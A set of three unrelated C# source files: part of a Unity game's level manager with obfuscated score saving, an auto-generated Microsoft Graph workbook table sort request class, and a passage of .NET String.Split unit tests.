for (int i = 0; i < scores.Length; ++i) {
totalStars += scores[i];
if (scores[i] >= 1 && scores[i] <= 3) {
totalScore += (ulong)((i + 1) * 100);
if (scores[i] == 2) {
totalScore += 50UL;
}
if (scores[i] == 3) {
totalScore += 100UL;
}
}
}
}
public static LevelManager instance
{
get {
if (_instance == null) {
_instance = new LevelManager();
}
return _instance;
}
}
public void Next()
{
Load(Level + 1);
}
public void Reload()
{
Load(Level);
}
// public DialogueMap dialogueMap {
// get; private set;
// }
public void Load(int level)
{
if (level >= levels.Count) {
/*GameWorld.success = false;
ScreenFader.QueueEvent(BackgroundRenderer.instance.SetSunBackground);
ScreenFader.StartFade(Color.clear, Color.black, 1.0f, delegate()
{
LevelManager.instance.Level--;
//TODO: If something weird happens, this is why
GameWorld.success = false;
GroupManager.main.activeGroup = GroupManager.main.group["Epilogue"];
// Clear resources
LevelManager.instance.Clear();
ScreenFader.StartFade(Color.black, Color.clear, 0.5f, delegate()
{
GroupManager.main.activeGroup = GroupManager.main.group["Epilogue"];
AudioManager.PlaySFX("Menu Next");
});
});*/
//return;
}
level %= levels.Count;
if (level < 0) level += levels.Count;
Level = level;
TmxMap map;
DialogueMap dialogue;
if (tileMaps.ContainsKey(level))
{
map = tileMaps[level];
}
else
{
var name = levels[level];
var asset = Resources.Load<TextAsset>(name);
using (var reader = new StringReader(asset.text)) {
map = TmxMap.Open(reader);
}
tileMaps[level] = map;
}
if (dialogues.ContainsKey(level)) {
dialogue = dialogues[level];
}
else {
var name = levels[level];
var dia = Resources.Load<TextAsset>("Dialogues/" + name);
if (dia != null ) {
using (var reader = new StringReader(dia.text)) {
dialogue = DialogueMap.Open(Object.FindObjectOfType<DialogueManager>(), reader);
}
}
else {
dialogue = new DialogueMap(DialogueManager.instance);
}
dialogues[level] = dialogue;
}
Width = map.Width;
Height = map.Height;
Camera.main.transform.position = CameraPosition;
Camera.main.orthographicSize = OrthographicSize;
// dialogueMap = dialogue;
settings.dialogueMap = dialogue;
loader.Load(map, settings);
//Load map settings
settings.minScore = map.Properties.GetInt("MinScore", 0);
settings.maxScore = map.Properties.GetInt("MaxScore", 0);
string nameIntro = map.Properties.GetTag("Intro", null);
string nameOutro = map.Properties.GetTag("Outro", null);
if (nameIntro != null) {
settings.intro = settings.dialogueMap[nameIntro];
}
else {
settings.intro = null;
}
if (nameOutro != null) {
settings.outro = settings.dialogueMap[nameOutro];
}
else {
settings.outro = null;
}
var hand = Object.FindObjectOfType<HandController>();
if (hand != null) {
hand.value = map.Properties.GetInt("Health", HandController.DefValue);
}
//string dialogueName;
//if (!map.
}
public LevelSettings settings
{
get; private set;
}
public void Clear()
{
loader.Clear();
}
private static int DecryptScore(int level, int value) {
int extra;
if ((level &2) == 0) {
extra = 137;
}
else {
extra = 71;
}
//value -= extra;
return ((value ^ 0xFFFF) - extra - level) >> 1;;
}
private static int EncryptScore(int level, int value) {
int extra;
if ((level & 2) == 0) {
extra = 137;
}
else {
extra = 71;
}
return ((value << 1) + extra + level) ^ 0xFFFF;
}
public static void SetScore(int level, int score) {
if (score < 0 || score > 3) {
return;
}
string key = "Level:" + level.ToString();
int currentScore = 0;
if (PlayerPrefs.HasKey(key)) {
currentScore = DecryptScore(level, PlayerPrefs.GetInt(key));
}
if (score > currentScore) {
instance.scores[level] = score;
PlayerPrefs.SetInt(key, EncryptScore(level, score));
instance.RecalculateTotal();
}
//score = EncryptScore(level, score);
}
public static int GetScore(int level) {
//int
string key = "Level:" + level.ToString();
if (PlayerPrefs.HasKey(key)) {
int score = DecryptScore(level, PlayerPrefs.GetInt(key));
if (score < 0 || score > 3) {
PlayerPrefs.DeleteKey(key);
} else {
return score;
}
}
return 0;
}
}
| |
// ------------------------------------------------------------------------------
// Copyright (c) Microsoft Corporation. All Rights Reserved. Licensed under the MIT License. See License in the project root for license information.
// ------------------------------------------------------------------------------
// **NOTE** This file was generated by a tool and any changes will be overwritten.
namespace Microsoft.Graph
{
using System;
using System.Collections.Generic;
using System.IO;
using System.Net.Http;
using System.Threading;
using System.Linq.Expressions;
/// <summary>
/// The type WorkbookTableSortRequest.
/// </summary>
public partial class WorkbookTableSortRequest : BaseRequest, IWorkbookTableSortRequest
{
/// <summary>
/// Constructs a new WorkbookTableSortRequest.
/// </summary>
/// <param name="requestUrl">The URL for the built request.</param>
/// <param name="client">The <see cref="IBaseClient"/> for handling requests.</param>
/// <param name="options">Query and header option name value pairs for the request.</param>
public WorkbookTableSortRequest(
string requestUrl,
IBaseClient client,
IEnumerable<Option> options)
: base(requestUrl, client, options)
{
}
/// <summary>
/// Creates the specified WorkbookTableSort using POST.
/// </summary>
/// <param name="workbookTableSortToCreate">The WorkbookTableSort to create.</param>
/// <returns>The created WorkbookTableSort.</returns>
public System.Threading.Tasks.Task<WorkbookTableSort> CreateAsync(WorkbookTableSort workbookTableSortToCreate)
{
return this.CreateAsync(workbookTableSortToCreate, CancellationToken.None);
}
/// <summary>
/// Creates the specified WorkbookTableSort using POST.
/// </summary>
/// <param name="workbookTableSortToCreate">The WorkbookTableSort to create.</param>
/// <param name="cancellationToken">The <see cref="CancellationToken"/> for the request.</param>
/// <returns>The created WorkbookTableSort.</returns>
public async System.Threading.Tasks.Task<WorkbookTableSort> CreateAsync(WorkbookTableSort workbookTableSortToCreate, CancellationToken cancellationToken)
{
this.ContentType = "application/json";
this.Method = "POST";
var newEntity = await this.SendAsync<WorkbookTableSort>(workbookTableSortToCreate, cancellationToken).ConfigureAwait(false);
this.InitializeCollectionProperties(newEntity);
return newEntity;
}
/// <summary>
/// Deletes the specified WorkbookTableSort.
/// </summary>
/// <returns>The task to await.</returns>
public System.Threading.Tasks.Task DeleteAsync()
{
return this.DeleteAsync(CancellationToken.None);
}
/// <summary>
/// Deletes the specified WorkbookTableSort.
/// </summary>
/// <param name="cancellationToken">The <see cref="CancellationToken"/> for the request.</param>
/// <returns>The task to await.</returns>
public async System.Threading.Tasks.Task DeleteAsync(CancellationToken cancellationToken)
{
this.Method = "DELETE";
await this.SendAsync<WorkbookTableSort>(null, cancellationToken).ConfigureAwait(false);
}
/// <summary>
/// Gets the specified WorkbookTableSort.
/// </summary>
/// <returns>The WorkbookTableSort.</returns>
public System.Threading.Tasks.Task<WorkbookTableSort> GetAsync()
{
return this.GetAsync(CancellationToken.None);
}
/// <summary>
/// Gets the specified WorkbookTableSort.
/// </summary>
/// <param name="cancellationToken">The <see cref="CancellationToken"/> for the request.</param>
/// <returns>The WorkbookTableSort.</returns>
public async System.Threading.Tasks.Task<WorkbookTableSort> GetAsync(CancellationToken cancellationToken)
{
this.Method = "GET";
var retrievedEntity = await this.SendAsync<WorkbookTableSort>(null, cancellationToken).ConfigureAwait(false);
this.InitializeCollectionProperties(retrievedEntity);
return retrievedEntity;
}
/// <summary>
/// Updates the specified WorkbookTableSort using PATCH.
/// </summary>
/// <param name="workbookTableSortToUpdate">The WorkbookTableSort to update.</param>
/// <returns>The updated WorkbookTableSort.</returns>
public System.Threading.Tasks.Task<WorkbookTableSort> UpdateAsync(WorkbookTableSort workbookTableSortToUpdate)
{
return this.UpdateAsync(workbookTableSortToUpdate, CancellationToken.None);
}
/// <summary>
/// Updates the specified WorkbookTableSort using PATCH.
/// </summary>
/// <param name="workbookTableSortToUpdate">The WorkbookTableSort to update.</param>
/// <param name="cancellationToken">The <see cref="CancellationToken"/> for the request.</param>
/// <returns>The updated WorkbookTableSort.</returns>
public async System.Threading.Tasks.Task<WorkbookTableSort> UpdateAsync(WorkbookTableSort workbookTableSortToUpdate, CancellationToken cancellationToken)
{
this.ContentType = "application/json";
this.Method = "PATCH";
var updatedEntity = await this.SendAsync<WorkbookTableSort>(workbookTableSortToUpdate, cancellationToken).ConfigureAwait(false);
this.InitializeCollectionProperties(updatedEntity);
return updatedEntity;
}
/// <summary>
/// Adds the specified expand value to the request.
/// </summary>
/// <param name="value">The expand value.</param>
/// <returns>The request object to send.</returns>
public IWorkbookTableSortRequest Expand(string value)
{
this.QueryOptions.Add(new QueryOption("$expand", value));
return this;
}
/// <summary>
/// Adds the specified expand value to the request.
/// </summary>
/// <param name="expandExpression">The expression from which to calculate the expand value.</param>
/// <returns>The request object to send.</returns>
public IWorkbookTableSortRequest Expand(Expression<Func<WorkbookTableSort, object>> expandExpression)
{
if (expandExpression == null)
{
throw new ArgumentNullException(nameof(expandExpression));
}
string error;
string value = ExpressionExtractHelper.ExtractMembers(expandExpression, out error);
if (value == null)
{
throw new ArgumentException(error, nameof(expandExpression));
}
else
{
this.QueryOptions.Add(new QueryOption("$expand", value));
}
return this;
}
/// <summary>
/// Adds the specified select value to the request.
/// </summary>
/// <param name="value">The select value.</param>
/// <returns>The request object to send.</returns>
public IWorkbookTableSortRequest Select(string value)
{
this.QueryOptions.Add(new QueryOption("$select", value));
return this;
}
/// <summary>
/// Adds the specified select value to the request.
/// </summary>
/// <param name="selectExpression">The expression from which to calculate the select value.</param>
/// <returns>The request object to send.</returns>
public IWorkbookTableSortRequest Select(Expression<Func<WorkbookTableSort, object>> selectExpression)
{
if (selectExpression == null)
{
throw new ArgumentNullException(nameof(selectExpression));
}
string error;
string value = ExpressionExtractHelper.ExtractMembers(selectExpression, out error);
if (value == null)
{
throw new ArgumentException(error, nameof(selectExpression));
}
else
{
this.QueryOptions.Add(new QueryOption("$select", value));
}
return this;
}
/// <summary>
/// Initializes any collection properties after deserialization, like next requests for paging.
/// </summary>
/// <param name="workbookTableSortToInitialize">The <see cref="WorkbookTableSort"/> with the collection properties to initialize.</param>
private void InitializeCollectionProperties(WorkbookTableSort workbookTableSortToInitialize)
{
}
}
}
| |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using Xunit;
namespace System.Tests
{
public static class StringSplitTests
{
[Fact]
public static void SplitInvalidCount()
{
const string value = "a,b";
const int count = -1;
const StringSplitOptions options = StringSplitOptions.None;
Assert.Throws<ArgumentOutOfRangeException>("count", () => value.Split(',', count));
Assert.Throws<ArgumentOutOfRangeException>("count", () => value.Split(',', count, options));
Assert.Throws<ArgumentOutOfRangeException>("count", () => value.Split(new[] { ',' }, count));
Assert.Throws<ArgumentOutOfRangeException>("count", () => value.Split(new[] { ',' }, count, options));
Assert.Throws<ArgumentOutOfRangeException>("count", () => value.Split(",", count));
Assert.Throws<ArgumentOutOfRangeException>("count", () => value.Split(",", count, options));
Assert.Throws<ArgumentOutOfRangeException>("count", () => value.Split(new[] { "," }, count, options));
}
[Fact]
public static void SplitInvalidOptions()
{
const string value = "a,b";
const int count = int.MaxValue;
const StringSplitOptions optionsTooLow = StringSplitOptions.None - 1;
const StringSplitOptions optionsTooHigh = StringSplitOptions.RemoveEmptyEntries + 1;
Assert.Throws<ArgumentException>(() => value.Split(',', optionsTooLow));
Assert.Throws<ArgumentException>(() => value.Split(',', optionsTooHigh));
Assert.Throws<ArgumentException>(() => value.Split(',', count, optionsTooLow));
Assert.Throws<ArgumentException>(() => value.Split(',', count, optionsTooHigh));
Assert.Throws<ArgumentException>(() => value.Split(new[] { ',' }, optionsTooLow));
Assert.Throws<ArgumentException>(() => value.Split(new[] { ',' }, optionsTooHigh));
Assert.Throws<ArgumentException>(() => value.Split(new[] { ',' }, count, optionsTooLow));
Assert.Throws<ArgumentException>(() => value.Split(new[] { ',' }, count, optionsTooHigh));
Assert.Throws<ArgumentException>(() => value.Split(",", optionsTooLow));
Assert.Throws<ArgumentException>(() => value.Split(",", optionsTooHigh));
Assert.Throws<ArgumentException>(() => value.Split(",", count, optionsTooLow));
Assert.Throws<ArgumentException>(() => value.Split(",", count, optionsTooHigh));
Assert.Throws<ArgumentException>(() => value.Split(new[] { "," }, optionsTooLow));
Assert.Throws<ArgumentException>(() => value.Split(new[] { "," }, optionsTooHigh));
Assert.Throws<ArgumentException>(() => value.Split(new[] { "," }, count, optionsTooLow));
Assert.Throws<ArgumentException>(() => value.Split(new[] { "," }, count, optionsTooHigh));
}
[Fact]
public static void SplitZeroCountEmptyResult()
{
const string value = "a,b";
const int count = 0;
const StringSplitOptions options = StringSplitOptions.None;
string[] expected = new string[0];
Assert.Equal(expected, value.Split(',', count));
Assert.Equal(expected, value.Split(',', count, options));
Assert.Equal(expected, value.Split(new[] { ',' }, count));
Assert.Equal(expected, value.Split(new[] { ',' }, count, options));
Assert.Equal(expected, value.Split(",", count));
Assert.Equal(expected, value.Split(",", count, options));
Assert.Equal(expected, value.Split(new[] { "," }, count, options));
}
[Fact]
public static void SplitEmptyValueWithRemoveEmptyEntriesOptionEmptyResult()
{
string value = string.Empty;
const int count = int.MaxValue;
const StringSplitOptions options = StringSplitOptions.RemoveEmptyEntries;
string[] expected = new string[0];
Assert.Equal(expected, value.Split(',', options));
Assert.Equal(expected, value.Split(',', count, options));
Assert.Equal(expected, value.Split(new[] { ',' }, options));
Assert.Equal(expected, value.Split(new[] { ',' }, count, options));
Assert.Equal(expected, value.Split(",", options));
Assert.Equal(expected, value.Split(",", count, options));
Assert.Equal(expected, value.Split(new[] { "," }, options));
Assert.Equal(expected, value.Split(new[] { "," }, count, options));
}
[Fact]
public static void SplitOneCountSingleResult()
{
const string value = "a,b";
const int count = 1;
const StringSplitOptions options = StringSplitOptions.None;
string[] expected = new[] { value };
Assert.Equal(expected, value.Split(',', count));
Assert.Equal(expected, value.Split(',', count, options));
Assert.Equal(expected, value.Split(new[] { ',' }, count));
Assert.Equal(expected, value.Split(new[] { ',' }, count, options));
Assert.Equal(expected, value.Split(",", count));
Assert.Equal(expected, value.Split(",", count, options));
Assert.Equal(expected, value.Split(new[] { "," }, count, options));
}
[Fact]
public static void SplitNoMatchSingleResult()
{
const string value = "a b";
const int count = int.MaxValue;
const StringSplitOptions options = StringSplitOptions.None;
string[] expected = new[] { value };
Assert.Equal(expected, value.Split(','));
Assert.Equal(expected, value.Split(',', options));
Assert.Equal(expected, value.Split(',', count, options));
Assert.Equal(expected, value.Split(new[] { ',' }));
Assert.Equal(expected, value.Split(new[] { ',' }, options));
Assert.Equal(expected, value.Split(new[] { ',' }, count));
Assert.Equal(expected, value.Split(new[] { ',' }, count, options));
Assert.Equal(expected, value.Split(","));
Assert.Equal(expected, value.Split(",", options));
Assert.Equal(expected, value.Split(",", count, options));
Assert.Equal(expected, value.Split(new[] { "," }, options));
Assert.Equal(expected, value.Split(new[] { "," }, count, options));
}
private const int M = int.MaxValue;
[Theory]
[InlineData("", ',', 0, StringSplitOptions.None, new string[0])]
[InlineData("", ',', 1, StringSplitOptions.None, new[] { "" })]
[InlineData("", ',', 2, StringSplitOptions.None, new[] { "" })]
[InlineData("", ',', 3, StringSplitOptions.None, new[] { "" })]
[InlineData("", ',', 4, StringSplitOptions.None, new[] { "" })]
[InlineData("", ',', M, StringSplitOptions.None, new[] { "" })]
[InlineData("", ',', 0, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData("", ',', 1, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData("", ',', 2, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData("", ',', 3, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData("", ',', 4, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData("", ',', M, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData(",", ',', 0, StringSplitOptions.None, new string[0])]
[InlineData(",", ',', 1, StringSplitOptions.None, new[] { "," })]
[InlineData(",", ',', 2, StringSplitOptions.None, new[] { "", "" })]
[InlineData(",", ',', 3, StringSplitOptions.None, new[] { "", "" })]
[InlineData(",", ',', 4, StringSplitOptions.None, new[] { "", "" })]
[InlineData(",", ',', M, StringSplitOptions.None, new[] { "", "" })]
[InlineData(",", ',', 0, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData(",", ',', 1, StringSplitOptions.RemoveEmptyEntries, new[] { "," })]
[InlineData(",", ',', 2, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData(",", ',', 3, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData(",", ',', 4, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData(",", ',', M, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData(",,", ',', 0, StringSplitOptions.None, new string[0])]
[InlineData(",,", ',', 1, StringSplitOptions.None, new[] { ",," })]
[InlineData(",,", ',', 2, StringSplitOptions.None, new[] { "", ",", })]
[InlineData(",,", ',', 3, StringSplitOptions.None, new[] { "", "", "" })]
[InlineData(",,", ',', 4, StringSplitOptions.None, new[] { "", "", "" })]
[InlineData(",,", ',', M, StringSplitOptions.None, new[] { "", "", "" })]
[InlineData(",,", ',', 0, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData(",,", ',', 1, StringSplitOptions.RemoveEmptyEntries, new[] { ",," })]
[InlineData(",,", ',', 2, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData(",,", ',', 3, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData(",,", ',', 4, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData(",,", ',', M, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData("ab", ',', 0, StringSplitOptions.None, new string[0])]
[InlineData("ab", ',', 1, StringSplitOptions.None, new[] { "ab" })]
[InlineData("ab", ',', 2, StringSplitOptions.None, new[] { "ab" })]
[InlineData("ab", ',', 3, StringSplitOptions.None, new[] { "ab" })]
[InlineData("ab", ',', 4, StringSplitOptions.None, new[] { "ab" })]
[InlineData("ab", ',', M, StringSplitOptions.None, new[] { "ab" })]
[InlineData("ab", ',', 0, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData("ab", ',', 1, StringSplitOptions.RemoveEmptyEntries, new[] { "ab" })]
[InlineData("ab", ',', 2, StringSplitOptions.RemoveEmptyEntries, new[] { "ab" })]
[InlineData("ab", ',', 3, StringSplitOptions.RemoveEmptyEntries, new[] { "ab" })]
[InlineData("ab", ',', 4, StringSplitOptions.RemoveEmptyEntries, new[] { "ab" })]
[InlineData("ab", ',', M, StringSplitOptions.RemoveEmptyEntries, new[] { "ab" })]
[InlineData("a,b", ',', 0, StringSplitOptions.None, new string[0])]
[InlineData("a,b", ',', 1, StringSplitOptions.None, new[] { "a,b" })]
[InlineData("a,b", ',', 2, StringSplitOptions.None, new[] { "a", "b" })]
[InlineData("a,b", ',', 3, StringSplitOptions.None, new[] { "a", "b" })]
[InlineData("a,b", ',', 4, StringSplitOptions.None, new[] { "a", "b" })]
[InlineData("a,b", ',', M, StringSplitOptions.None, new[] { "a", "b" })]
[InlineData("a,b", ',', 0, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData("a,b", ',', 1, StringSplitOptions.RemoveEmptyEntries, new[] { "a,b" })]
[InlineData("a,b", ',', 2, StringSplitOptions.RemoveEmptyEntries, new[] { "a", "b" })]
[InlineData("a,b", ',', 3, StringSplitOptions.RemoveEmptyEntries, new[] { "a", "b" })]
[InlineData("a,b", ',', 4, StringSplitOptions.RemoveEmptyEntries, new[] { "a", "b" })]
[InlineData("a,b", ',', M, StringSplitOptions.RemoveEmptyEntries, new[] { "a", "b" })]
[InlineData("a,", ',', 0, StringSplitOptions.None, new string[0])]
[InlineData("a,", ',', 1, StringSplitOptions.None, new[] { "a," })]
[InlineData("a,", ',', 2, StringSplitOptions.None, new[] { "a", "" })]
[InlineData("a,", ',', 3, StringSplitOptions.None, new[] { "a", "" })]
[InlineData("a,", ',', 4, StringSplitOptions.None, new[] { "a", "" })]
[InlineData("a,", ',', M, StringSplitOptions.None, new[] { "a", "" })]
[InlineData("a,", ',', 0, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData("a,", ',', 1, StringSplitOptions.RemoveEmptyEntries, new[] { "a," })]
[InlineData("a,", ',', 2, StringSplitOptions.RemoveEmptyEntries, new[] { "a" })]
[InlineData("a,", ',', 3, StringSplitOptions.RemoveEmptyEntries, new[] { "a" })]
[InlineData("a,", ',', 4, StringSplitOptions.RemoveEmptyEntries, new[] { "a" })]
[InlineData("a,", ',', M, StringSplitOptions.RemoveEmptyEntries, new[] { "a" })]
[InlineData(",b", ',', 0, StringSplitOptions.None, new string[0])]
[InlineData(",b", ',', 1, StringSplitOptions.None, new[] { ",b" })]
[InlineData(",b", ',', 2, StringSplitOptions.None, new[] { "", "b" })]
[InlineData(",b", ',', 3, StringSplitOptions.None, new[] { "", "b" })]
[InlineData(",b", ',', 4, StringSplitOptions.None, new[] { "", "b" })]
[InlineData(",b", ',', M, StringSplitOptions.None, new[] { "", "b" })]
[InlineData(",b", ',', 0, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData(",b", ',', 1, StringSplitOptions.RemoveEmptyEntries, new[] { ",b" })]
[InlineData(",b", ',', 2, StringSplitOptions.RemoveEmptyEntries, new[] { "b" })]
[InlineData(",b", ',', 3, StringSplitOptions.RemoveEmptyEntries, new[] { "b" })]
[InlineData(",b", ',', 4, StringSplitOptions.RemoveEmptyEntries, new[] { "b" })]
[InlineData(",b", ',', M, StringSplitOptions.RemoveEmptyEntries, new[] { "b" })]
[InlineData(",a,b", ',', 0, StringSplitOptions.None, new string[0])]
[InlineData(",a,b", ',', 1, StringSplitOptions.None, new[] { ",a,b" })]
[InlineData(",a,b", ',', 2, StringSplitOptions.None, new[] { "", "a,b" })]
[InlineData(",a,b", ',', 3, StringSplitOptions.None, new[] { "", "a", "b" })]
[InlineData(",a,b", ',', 4, StringSplitOptions.None, new[] { "", "a", "b" })]
[InlineData(",a,b", ',', M, StringSplitOptions.None, new[] { "", "a", "b" })]
[InlineData(",a,b", ',', 0, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData(",a,b", ',', 1, StringSplitOptions.RemoveEmptyEntries, new[] { ",a,b" })]
[InlineData(",a,b", ',', 2, StringSplitOptions.RemoveEmptyEntries, new[] { "a", "b" })]
[InlineData(",a,b", ',', 3, StringSplitOptions.RemoveEmptyEntries, new[] { "a", "b" })]
[InlineData(",a,b", ',', 4, StringSplitOptions.RemoveEmptyEntries, new[] { "a", "b" })]
[InlineData(",a,b", ',', 5, StringSplitOptions.RemoveEmptyEntries, new[] { "a", "b" })]
[InlineData("a,b,", ',', 0, StringSplitOptions.None, new string[0])]
[InlineData("a,b,", ',', 1, StringSplitOptions.None, new[] { "a,b," })]
[InlineData("a,b,", ',', 2, StringSplitOptions.None, new[] { "a", "b,", })]
[InlineData("a,b,", ',', 3, StringSplitOptions.None, new[] { "a", "b", "" })]
[InlineData("a,b,", ',', 4, StringSplitOptions.None, new[] { "a", "b", "" })]
[InlineData("a,b,", ',', M, StringSplitOptions.None, new[] { "a", "b", "" })]
[InlineData("a,b,", ',', 0, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData("a,b,", ',', 1, StringSplitOptions.RemoveEmptyEntries, new[] { "a,b," })]
[InlineData("a,b,", ',', 2, StringSplitOptions.RemoveEmptyEntries, new[] { "a", "b," })]
[InlineData("a,b,", ',', 3, StringSplitOptions.RemoveEmptyEntries, new[] { "a", "b" })]
[InlineData("a,b,", ',', 4, StringSplitOptions.RemoveEmptyEntries, new[] { "a", "b" })]
[InlineData("a,b,", ',', M, StringSplitOptions.RemoveEmptyEntries, new[] { "a", "b" })]
[InlineData("a,b,c", ',', 0, StringSplitOptions.None, new string[0])]
[InlineData("a,b,c", ',', 1, StringSplitOptions.None, new[] { "a,b,c" })]
[InlineData("a,b,c", ',', 2, StringSplitOptions.None, new[] { "a", "b,c" })]
[InlineData("a,b,c", ',', 3, StringSplitOptions.None, new[] { "a", "b", "c" })]
[InlineData("a,b,c", ',', 4, StringSplitOptions.None, new[] { "a", "b", "c" })]
[InlineData("a,b,c", ',', M, StringSplitOptions.None, new[] { "a", "b", "c" })]
[InlineData("a,b,c", ',', 0, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData("a,b,c", ',', 1, StringSplitOptions.RemoveEmptyEntries, new[] { "a,b,c" })]
[InlineData("a,b,c", ',', 2, StringSplitOptions.RemoveEmptyEntries, new[] { "a", "b,c", })]
[InlineData("a,b,c", ',', 3, StringSplitOptions.RemoveEmptyEntries, new[] { "a", "b", "c" })]
[InlineData("a,b,c", ',', 4, StringSplitOptions.RemoveEmptyEntries, new[] { "a", "b", "c" })]
[InlineData("a,b,c", ',', M, StringSplitOptions.RemoveEmptyEntries, new[] { "a", "b", "c" })]
[InlineData("a,,c", ',', 0, StringSplitOptions.None, new string[0])]
[InlineData("a,,c", ',', 1, StringSplitOptions.None, new[] { "a,,c" })]
[InlineData("a,,c", ',', 2, StringSplitOptions.None, new[] { "a", ",c", })]
[InlineData("a,,c", ',', 3, StringSplitOptions.None, new[] { "a", "", "c" })]
[InlineData("a,,c", ',', 4, StringSplitOptions.None, new[] { "a", "", "c" })]
[InlineData("a,,c", ',', M, StringSplitOptions.None, new[] { "a", "", "c" })]
[InlineData("a,,c", ',', 0, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData("a,,c", ',', 1, StringSplitOptions.RemoveEmptyEntries, new[] { "a,,c" })]
[InlineData("a,,c", ',', 2, StringSplitOptions.RemoveEmptyEntries, new[] { "a", "c", })]
[InlineData("a,,c", ',', 3, StringSplitOptions.RemoveEmptyEntries, new[] { "a", "c" })]
[InlineData("a,,c", ',', 4, StringSplitOptions.RemoveEmptyEntries, new[] { "a", "c" })]
[InlineData("a,,c", ',', M, StringSplitOptions.RemoveEmptyEntries, new[] { "a", "c" })]
[InlineData(",a,b,c", ',', 0, StringSplitOptions.None, new string[0])]
[InlineData(",a,b,c", ',', 1, StringSplitOptions.None, new[] { ",a,b,c" })]
[InlineData(",a,b,c", ',', 2, StringSplitOptions.None, new[] { "", "a,b,c" })]
[InlineData(",a,b,c", ',', 3, StringSplitOptions.None, new[] { "", "a", "b,c" })]
[InlineData(",a,b,c", ',', 4, StringSplitOptions.None, new[] { "", "a", "b", "c" })]
[InlineData(",a,b,c", ',', M, StringSplitOptions.None, new[] { "", "a", "b", "c" })]
[InlineData(",a,b,c", ',', 0, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData(",a,b,c", ',', 1, StringSplitOptions.RemoveEmptyEntries, new[] { ",a,b,c" })]
[InlineData(",a,b,c", ',', 2, StringSplitOptions.RemoveEmptyEntries, new[] { "a", "b,c", })]
[InlineData(",a,b,c", ',', 3, StringSplitOptions.RemoveEmptyEntries, new[] { "a", "b", "c" })]
[InlineData(",a,b,c", ',', 4, StringSplitOptions.RemoveEmptyEntries, new[] { "a", "b", "c" })]
[InlineData(",a,b,c", ',', M, StringSplitOptions.RemoveEmptyEntries, new[] { "a", "b", "c" })]
[InlineData("a,b,c,", ',', 0, StringSplitOptions.None, new string[0])]
[InlineData("a,b,c,", ',', 1, StringSplitOptions.None, new[] { "a,b,c," })]
[InlineData("a,b,c,", ',', 2, StringSplitOptions.None, new[] { "a", "b,c," })]
[InlineData("a,b,c,", ',', 3, StringSplitOptions.None, new[] { "a", "b", "c,", })]
[InlineData("a,b,c,", ',', 4, StringSplitOptions.None, new[] { "a", "b", "c", "" })]
[InlineData("a,b,c,", ',', M, StringSplitOptions.None, new[] { "a", "b", "c", "" })]
[InlineData("a,b,c,", ',', 0, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData("a,b,c,", ',', 1, StringSplitOptions.RemoveEmptyEntries, new[] { "a,b,c," })]
[InlineData("a,b,c,", ',', 2, StringSplitOptions.RemoveEmptyEntries, new[] { "a", "b,c,", })]
[InlineData("a,b,c,", ',', 3, StringSplitOptions.RemoveEmptyEntries, new[] { "a", "b", "c," })]
[InlineData("a,b,c,", ',', 4, StringSplitOptions.RemoveEmptyEntries, new[] { "a", "b", "c" })]
[InlineData("a,b,c,", ',', M, StringSplitOptions.RemoveEmptyEntries, new[] { "a", "b", "c" })]
[InlineData(",a,b,c,", ',', 0, StringSplitOptions.None, new string[0])]
[InlineData(",a,b,c,", ',', 1, StringSplitOptions.None, new[] { ",a,b,c," })]
[InlineData(",a,b,c,", ',', 2, StringSplitOptions.None, new[] { "", "a,b,c," })]
[InlineData(",a,b,c,", ',', 3, StringSplitOptions.None, new[] { "", "a", "b,c," })]
[InlineData(",a,b,c,", ',', 4, StringSplitOptions.None, new[] { "", "a", "b", "c," })]
[InlineData(",a,b,c,", ',', M, StringSplitOptions.None, new[] { "", "a", "b", "c", "" })]
[InlineData(",a,b,c,", ',', 0, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData(",a,b,c,", ',', 1, StringSplitOptions.RemoveEmptyEntries, new[] { ",a,b,c," })]
[InlineData(",a,b,c,", ',', 2, StringSplitOptions.RemoveEmptyEntries, new[] { "a", "b,c," })]
[InlineData(",a,b,c,", ',', 3, StringSplitOptions.RemoveEmptyEntries, new[] { "a", "b", "c," })]
[InlineData(",a,b,c,", ',', 4, StringSplitOptions.RemoveEmptyEntries, new[] { "a", "b", "c" })]
[InlineData(",a,b,c,", ',', M, StringSplitOptions.RemoveEmptyEntries, new[] { "a", "b", "c" })]
[InlineData("first,second", ',', 0, StringSplitOptions.None, new string[0])]
[InlineData("first,second", ',', 1, StringSplitOptions.None, new[] { "first,second" })]
[InlineData("first,second", ',', 2, StringSplitOptions.None, new[] { "first", "second" })]
[InlineData("first,second", ',', 3, StringSplitOptions.None, new[] { "first", "second" })]
[InlineData("first,second", ',', 4, StringSplitOptions.None, new[] { "first", "second" })]
[InlineData("first,second", ',', M, StringSplitOptions.None, new[] { "first", "second" })]
[InlineData("first,second", ',', 0, StringSplitOptions.RemoveEmptyEntries, new string[0])]
[InlineData("first,second", ',', 1, StringSplitOptions.RemoveEmptyEntries, new[] { "first,second" })]
